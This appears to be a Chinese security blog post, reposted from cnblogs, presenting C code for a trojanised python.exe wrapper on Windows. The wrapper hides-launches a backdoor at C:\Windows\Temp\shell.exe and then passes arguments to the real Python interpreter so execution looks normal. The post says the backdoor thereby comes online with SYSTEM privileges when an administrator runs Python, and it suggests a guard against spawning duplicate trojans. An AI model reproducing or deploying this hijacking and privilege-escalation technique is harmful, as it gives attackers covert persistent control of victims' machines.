原创 掌控安全学院 - camer
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
// 恶意程序
wchar_t* Shell = L"C:\\Windows\\Temp\\shell.exe";
HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);
// 保证python程序能够正常执行
if (argc >= 2) {
const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";
// 构建调用Python脚本的命令
char pythonCommand[4096]; // Increased buffer size to accommodate more arguments
snprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);
// 将额外的参数添加到 Python 命令中
for (int i = 2; i < argc; ++i) {
strcat(pythonCommand, " ");
strcat(pythonCommand, argv[i]);
}
// 调用Python脚本
system(pythonCommand);
}
return 0;
}
假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):
python 1.py greeting morning
执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:
0x04 思考总结
普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。
标签:Python,Windows,argv,python,提权,pythonCommand,windows,argc From: https://www.cnblogs.com/o-O-oO/p/18377904